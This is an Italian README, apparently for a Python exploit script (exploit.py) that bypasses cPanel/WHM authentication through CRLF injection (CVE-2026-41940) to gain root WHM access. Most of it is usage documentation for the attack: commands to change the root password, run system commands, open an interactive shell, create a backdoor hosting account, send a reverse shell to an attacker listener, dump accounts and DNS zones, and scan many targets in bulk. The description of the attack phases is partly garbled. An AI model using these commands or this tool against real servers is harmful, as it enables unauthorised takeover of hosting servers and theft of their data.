
cPanel/WHM Bypass dell'autenticazione (Vulnerabilità zero-day)
Disclaimer: Questo documento e lo script associato (
exploit.py) sono forniti esclusivamente a scopo educativo, per ricerche di sicurezza e test di penetrazione autorizzati. Non utilizzare questo software contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione.
exploit.py è uno script che dimostra una vulnerabilità di bypass dell'autenticazione (CVE-2026-41940) in cPanel e WHM. La vulnerabilità consente a un attaccante non autenticato di iniettare una sessione root nella cache del demone tramite un difetto di iniezione CRLF, concedendo infine accesso WHM a livello root senza richiedere credenziali valide.
L'exploit sfrutta una vulnerabilità di iniezione CRLF (Carriage Return Line Feed) nel meccanismo di gestione dell'autenticazione di base, combinata con un difetto di propagazione della sessione. Lo script automatizza l'attacco in quattro fasi:
/login/ o ) per acquisire un cookie di sessione non autenticato di base ()./cgi/login.cgiwhostmgrsessioncpsrvd. La risposta di reindirizzamento del server rilascia il token di sicurezza generato (cpsess).do_token_denied per propagare la sessione falsificata nella cache del demone — rendendola una sessione autenticata valida./json-api/version) utilizzando la sessione falsificata per confermare l'accesso a livello root.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argomento | Descrizione |
|---|---|
--target URL | URL WHM singolo (es. https://target:2087) |
--target-file FILE | File con i target (uno ip:port per riga) — attiva automaticamente la modalità di verifica |
| Argomento | Descrizione |
|---|---|
--threads N | Thread concorrenti per la modalità multi-target (default: 10) |
--hostname HOST | Sovrascrive l'intestazione Host — utile quando l'individuazione automatica fallisce o fornisce un hostname errato |
--timeout N | Timeout per richiesta in secondi (default: 15) |
--retries N | Numero di tentativi su errori di rete (default: 3) |
--cookie-name NAME | Forza un nome specifico per il cookie di sessione (rilevato automaticamente se omesso) |
--no-verify | Salta la verifica della Fase 4 e procede comunque |
| Argomento | Descrizione |
|---|---|
--check | Solo verifica — controlla la vulnerabilità senza sfruttare (impostato automaticamente con --target-file) |
--password PASS | Cambia la password di root in PASS |
--api FUNC | Chiama una specifica funzione JSON-API di WHM |
--api-params K=V,... | Parametri separati da virgola per --api |
--exec CMD | Esegue un comando di sistema tramite WHM scripts/run_script (fallback: rawexec) |
--session | Genera un URL di login one-click per root — aprire immediatamente, il token scade velocemente |
--shell | Avvia una shell WHM interattiva (solo target singolo) |
--dump | Scarica informazioni sul server: versione, account, zone DNS, privilegi |
--add-user USER PASS DOMAIN | Crea un nuovo account di hosting cPanel |
--revshell LHOST LPORT | Invia una reverse shell bash al tuo listener |
| Argomento | Descrizione |
|---|---|
--output FILE | Salva il token di sessione e i dettagli in un file JSON |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Quando si utilizza --shell, sono disponibili i seguenti comandi:
| Comando | Descrizione |
|---|---|
api <function> [k=v ...] | Chiama una funzione JSON-API di WHM (es. api version) |
exec <command> | Esegue un comando di sistema tramite WHM (es. exec id) |
passwd <newpass> | Cambia la password di root |
dump | Scarica le informazioni del server |
revshell <lhost> <lport> | Invia una reverse shell |
add <user> <pass> <domain> | Crea un account cPanel |
save <path> | Salva la sessione corrente su un file |
exit / quit | Esce dalla shell |
Aggiornare immediatamente gli ultimi aggiornamenti di sicurezza di cPanel/WHM.